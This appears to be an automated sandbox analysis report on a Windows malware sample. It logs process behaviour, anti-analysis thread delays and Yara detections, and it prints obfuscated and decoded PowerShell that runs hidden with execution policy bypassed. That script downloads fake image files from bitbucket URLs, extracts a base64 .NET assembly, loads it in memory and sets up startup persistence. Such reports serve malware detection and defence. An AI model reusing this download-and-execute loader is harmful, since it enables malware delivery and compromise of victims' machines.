Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1790	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1369	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5276	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4559	Jump to behavior

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-2610

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5396	Thread sleep count: 1790 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2232	Thread sleep count: 1369 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7132	Thread sleep count: 95 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3960	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2024	Thread sleep count: 5276 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2024	Thread sleep count: 4559 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2344	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD212034 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF6FD212034

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD216710 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00007FF6FD216710

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000005.00000002.1294975015.00000271498EB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

0_2_00007FF6FD211D10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD218A1E SetUnhandledExceptionFilter,		0_2_00007FF6FD218A1E
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Code function: 0_2_00007FF6FD218714 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF6FD218714

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_2412.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2412, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#gg#zwbk#gy#a#bk#gy#zwbk#c8#d#bl#hm#d##v#gq#bwb3#g4#b#bv#ge#z#bz#c8#bgbl#hc#xwbp#g0#yqbn#gu#mg#u#go#c#bn#d8#mq#0#dq#ng#x#dc#mg#x#cc#l##g#cc#a#b0#hq#c#bz#do#lw#v#gi#aqb0#gi#dqbj#gs#zqb0#c4#bwby#gc#lwbo#gc#z#bm#gg#z#bm#gc#z##v#hq#zqbz#hq#lwbk#g8#dwbu#gw#bwbh#gq#cw#v#g4#zqb3#f8#aqbt#ge#zwbl#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c##i##g#c##i##g#c##i##g#cq#ygbh#hm#zq#2#dq#t#bl#g4#zwb0#gg#i##9#c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.pngsoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'startupname', 'regasm', '0'))}}"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#